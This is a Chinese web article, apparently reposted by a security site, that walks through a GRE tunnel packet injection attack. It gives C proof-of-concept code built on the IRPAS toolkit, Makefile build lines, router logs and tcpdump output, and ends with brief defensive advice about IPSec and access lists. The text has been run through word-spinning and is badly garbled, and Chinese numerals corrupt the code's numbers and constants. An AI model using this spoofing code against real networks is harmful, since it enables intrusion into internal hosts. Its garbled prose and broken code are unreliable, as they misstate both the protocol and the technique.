|
|
|
联系客服020-83701501

GRE数据包注入攻击

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
GRE数据包注入打击

GRE和谈是建立树立1个通道穿过干部因特网,使得基于无奈乌黑路由的和谈的非IP流量可以或许达到它们的目标地。

为了针对内部网络上的主机履行打击,你须要晓得供给GRE纯粹的二个终真个内部IP以及你要打击的主机的内部IP。这可以或许经由多种步履实现,如把持Google算子搜索、路由罗列、嗅探和指纹识别。

GRE数据包注入攻击

起首咱们须要生成1个GRE包,它的目标IP是 xxx.xxx.xxx.5(GRE纯粹的1端),源IP是xxx.xxx.xxx.一(GRE纯粹的另1端)。这个包的GRE头部其时设置为空,咱们在 载荷放入咱们的包,其目标IP为a.a.a.5(受害主机内部IP),源IP为咱们管制的可以或许用于嗅探接收到的响应的主机地点。请留心,咱们须要将包调度 在肯定会产生活气响应的路径上,不然咱们就永恒都无奈创造打击可否腐烂了。

下面是针对ICMP ping打针的观念考证型代码,这是1种理智的决议,因为内部网络上的主机每每不会阻塞进入的ICMP echo哀求。

Default
一二34567八9一0一1一二一3一4一5一6      #include <stdio.h>     #include <stdlib.h>     #include <unistd.h>     #include <string.h>     #include <netinet/in.h>     #include <rpc/types.h>     #include <netdb.h>     #include <sys/socket.h>     #include <arpa/inet.h>     #include <errno.h>     #include <signal.h>     #include <sys/types.h>     #include <fcntl.h>      #include "protocols.h"     #include "packets.h"

????? 这是1个特别很是糟糕的测试。
???? 咱们发送1个ping数据包到VICTIM,入侵到ROUTER A和ROUTER B之间的GRE纯粹,VICTIM位于ROUTER A的暗地里。
???? 这里利用以下新闻:
????? ????? VICTIM的IP地点
????? ????? ROUTER A的
????? ????????????? 内部IP
????? ????????????? 目标纯粹设置(可以或许或许是ROUTER B)
????? ????? ROUTER B的
????? ????????????? 内部IP
??????

??????数据包封装在IPv4和GRE(RFC一70一)头。然后它发送到ROUTER A的纯粹源地点(可以或许或许是ROUTER B的内部IP)的发送者地点。然后,VICTIM响应ICMP echo并发送默许路由器到ROUTER A。ROUTER A封装的数据包的源地点是咱们本人的。因而假设ROUTER A可能达到咱们这里,它将会把数据包返回给咱们。不然,它可以或许或许会发送数据包到ROUTER B的GRE并发送给咱们。

Default
一二34567八9一0一1一二一3一4一5一6一7一八一9二0二一二2二3二4二5二6二7二八二9303一3二33343536373八39404一4二43444546474八49505一5二5354555657   #define VICTIM        "v.v.v.5"     #define ROUTER_A      "xxx.xxx.xxx.xx5"     #define ROUTER_B      "xxx.xxx.xxx.xx一"     struct {         struct in_addr router_a;         struct in_addr router_b;         struct in_addr victim;     } cfg;      int main(int argc, char **argv) {         u_char      *packet;        iphdr_t     *ip_gre,*ip_my;        grehdr_t    *gre;        icmp_ping_t *ping;        int         psize;        int         socket;       初始化1个套接字并填写packet_ifconfig      socket=init_socket_IP4("eth0",0);       生成IP地点       inet_aton(VICTIM,&(cfg.victim));      inet_aton(ROUTER_A,&(cfg.router_a));      inet_aton(ROUTER_B,&(cfg.router_b));       建立树立内部数据包      psize=sizeof(iphdr_t)*二          +sizeof(grehdr_t)          +sizeof(icmp_ping_t);      packet=(u_char *)smalloc(psize+3);       ip_gre=(iphdr_t *)packet;      ip_gre->version=4;      ip_gre->ihl=sizeof(iphdr_t)/4;      ip_gre->tot_len=htons(psize);      ip_gre->protocol=IPPROTO_GRE;      ip_gre->id=htons(0xAFFE);           这是1个测试      ip_gre->ttl=30;      memcpy(&(ip_gre->saddr.s_addr),&(cfg.router_b.s_addr),IP_ADDR_LEN);      memcpy(&(ip_gre->daddr.s_addr),&(cfg.router_a.s_addr),IP_ADDR_LEN);       gre=(grehdr_t *)(packet+sizeof(iphdr_t));      gre->flags=0;      gre->proto=htons(0x0八00);           IPv4 - RFC一700       ip_my=(iphdr_t *)(packet+sizeof(iphdr_t)+sizeof(grehdr_t));      ip_my->version=4;      ip_my->ihl=sizeof(iphdr_t)/4;      ip_my->tot_len=htons(sizeof(iphdr_t)+sizeof(icmp_ping_t));      ip_my->protocol=IPPROTO_ICMP;      ip_my->id=htons(0xF0F0);      ip_my->ttl=30;      memcpy(&(ip_my->saddr.s_addr),                  &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);      memcpy(&(ip_my->daddr.s_addr),&(cfg.victim),IP_ADDR_LEN);

????因为没有接口,须要校验咱们本人

Default
一二34567八9一0一1一二一3       ip_my->check=chksum((u_char *)(ip_my),sizeof(iphdr_t));       ping=(icmp_ping_t *)(packet+sizeof(iphdr_t)*二+sizeof(grehdr_t));      ping->icmp.type=ICMP_ECHO;      ping->echo.identifier=0x二2;      ping->icmp.checksum=chksum((u_char *)ping,sizeof(icmp_ping_t));      发送测试包       sendpack_IP4(socket,packet,psize);      close(socket);       return 0;     }

不要渴想可以或许间接编译这份代码,你须要设置Phenoelit Tools中的IRPAS套件(http://www.phenoelit-us.org/irpas/irpas_0.一0.tar.gz)。下载并解紧缩IRPAS,将上述按次生存在gre.c下的IRPAS目录,翻开Makefile。你须要在OBJECTS和PROGRAMS定义中增加gre.o和gre,还要增加下面几行,它们会决议gre.c中的编译:

Default
一二34 gre.o: gre.c packets.h protocols.h        ${CC} ${CFLAGS} -c gre.cgre: gre.o libpackets.a        ${CC} ${CFLAGS} -o gre gre.o -lpackets ${CLIBS}


从这个角度而言,每次须要针对特定目标实施打击时,你都须要旋转gre.c中描写打击的先决前提的值,并从新编译工具。

Default
VICTIM, ROUTER_A and ROUTER_B


1旦分岔路支路由器接收到何等1个包,它就会对包解封装,虚构的IP包会顺着路由器的路由表传输,达到受害主机。分岔路支路由器会在解封装以前检查GRE包的源地点,但因为这个包是虚形成来自于总部路由器,因而会被供认并放夙昔。

1旦包达到受害呆滞,就会产生活气ICMP echo响应,这个响应会发送回指定的IP地点,此地点是咱们在网络上的嗅探呆滞。在咱们的例子中,全体流量的默许路由都穿过总部,因而包经由GRE纯粹发送回总部,再从总部转发到咱们的主机。你不该该渴想达到的包具有 a.a.a.5 IP地点,因为公有地点会被总部的路由器经由NAT休止转换,以是你必需“调停”你的tcpdump嗅探会话能力捕捉它。然后你就该当会看到来自于受害主机的1个响应。

这种打击很简单:只要履行# ./gre,并转向tcpdump“监听台”嗅探响应。下面是接收包的路由器上出现的新闻:

Default
一二 0二56二0: 一5:55:二2: IP: s=a.a.a.一 (Tunnel0), d=v.v.v.一 (Ethernet0/一), len 八4, rcvd 30二56二一: 一5:55:二2: IP: s=v.v.v.一 (Ethernet0/一), d=a.a.a.一 (Tunnel0), len 八4, sending

下面是监听台的输出,你可以或许看到个中的ICMP响应:

Default
一5:55:二2.55396八 IP xxx.xxx.xxx.一 > a.a.a.一: icmp 64: echo reply seq 0

尾声
~~~~~~~
诚然此打击听起来很繁杂实施,但无奈包管能百分之百有用。它取决于网络的设置和防火墙的配置。不过,用于内部纯粹流量的规定个别更宽松1些,你颇有机会以 此步履侵入。即使你第1次没有获得受害主机的响应,也不克不及阐明打击包没有达到该主机。在这个例子中,目标主机可以或许或许禁止ping,或者路由器或防火墙只容许 ICMP echo响应在LAN内传输。经由把持不须要与受害主机休止双向通信的手艺获得目标配备的根权限如故是可以或许或许的,这取决于你的目标。
防范按次
~~~~~~~~~~~
假设有人在因特网上采纳未加密的GRE纯粹,这团体至多会被以为大意大意。保护通信的最好步履是把持正确的加密和认证,或者还可以或许在感染于出纯粹的流量的防火墙上采纳访问管制列表。至多采纳预共享密钥IPSec保护GRE封装的包的内容并挫败打击者终究不是那么坚苦。

author:Hack0一@Live!cn

由网络安全攻防研究室(www.9一ri.org)新闻安全小组收集整顿,转载请说明出处!

数安新闻+更多

证书相关+更多